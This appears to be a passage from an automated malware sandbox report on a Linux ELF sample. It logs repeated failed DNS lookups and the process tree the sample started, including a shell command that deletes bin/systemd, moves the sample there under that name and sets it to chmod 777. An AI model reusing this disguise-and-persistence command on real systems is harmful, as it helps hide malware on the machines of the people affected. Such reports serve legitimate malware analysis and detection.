                  Mar 20, 2023 18:16:00.223678112 CET8.8.8.8192.168.2.230xf829Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:00.243460894 CET8.8.8.8192.168.2.230xf829Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:00.261671066 CET8.8.8.8192.168.2.230xf829Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:10.281678915 CET8.8.8.8192.168.2.230x7773Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:10.299808025 CET8.8.8.8192.168.2.230x7773Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:10.317961931 CET8.8.8.8192.168.2.230x7773Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:10.337897062 CET8.8.8.8192.168.2.230x7773Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:10.355783939 CET8.8.8.8192.168.2.230x7773Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:19.373778105 CET8.8.8.8192.168.2.230x13a6Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:19.391407967 CET8.8.8.8192.168.2.230x13a6Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:19.409384012 CET8.8.8.8192.168.2.230x13a6Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:19.427515030 CET8.8.8.8192.168.2.230x13a6Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:19.445725918 CET8.8.8.8192.168.2.230x13a6Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:29.465395927 CET8.8.8.8192.168.2.230xd685Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:29.483481884 CET8.8.8.8192.168.2.230xd685Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:29.501699924 CET8.8.8.8192.168.2.230xd685Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:29.519619942 CET8.8.8.8192.168.2.230xd685Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:29.539716005 CET8.8.8.8192.168.2.230xd685Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:35.558115005 CET8.8.8.8192.168.2.230x3f01Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:35.576301098 CET8.8.8.8192.168.2.230x3f01Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:35.596678019 CET8.8.8.8192.168.2.230x3f01Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:35.616626978 CET8.8.8.8192.168.2.230x3f01Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:35.634768963 CET8.8.8.8192.168.2.230x3f01Name error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:44.652662039 CET8.8.8.8192.168.2.230x958aName error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:44.670453072 CET8.8.8.8192.168.2.230x958aName error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:44.690440893 CET8.8.8.8192.168.2.230x958aName error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:44.710419893 CET8.8.8.8192.168.2.230x958aName error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false
                  Mar 20, 2023 18:16:44.728445053 CET8.8.8.8192.168.2.230x958aName error (3)BC@^]BnonenoneA (IP address)IN (0x0001)false

                  System Behavior

                  General

                  Start time:18:14:39
                  Start date:20/03/2023
                  Path:/tmp/6lqMB7o2Ts.elf
                  Arguments:/tmp/6lqMB7o2Ts.elf
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/tmp/6lqMB7o2Ts.elf
                  Arguments:n/a
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/bin/sh
                  Arguments:sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/6lqMB7o2Ts.elf bin/systemd; chmod 777 bin/systemd"
                  File size:129816 bytes
                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/bin/sh
                  Arguments:n/a
                  File size:129816 bytes
                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/usr/bin/rm
                  Arguments:rm -rf bin/systemd
                  File size:72056 bytes
                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/bin/sh
                  Arguments:n/a
                  File size:129816 bytes
                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/usr/bin/mkdir
                  Arguments:mkdir bin
                  File size:88408 bytes
                  MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/bin/sh
                  Arguments:n/a
                  File size:129816 bytes
                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/usr/bin/mv
                  Arguments:mv /tmp/6lqMB7o2Ts.elf bin/systemd
                  File size:149888 bytes
                  MD5 hash:504f0590fa482d4da070a702260e3716

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/bin/sh
                  Arguments:n/a
                  File size:129816 bytes
                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/usr/bin/chmod
                  Arguments:chmod 777 bin/systemd
                  File size:63864 bytes
                  MD5 hash:739483b900c045ae1374d6f53a86a279

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/tmp/6lqMB7o2Ts.elf
                  Arguments:n/a
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/tmp/6lqMB7o2Ts.elf
                  Arguments:n/a
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9

                  General

                  Start time:18:14:40
                  Start date:20/03/2023
                  Path:/tmp/6lqMB7o2Ts.elf
                  Arguments:n/a
                  File size:5773336 bytes
                  MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9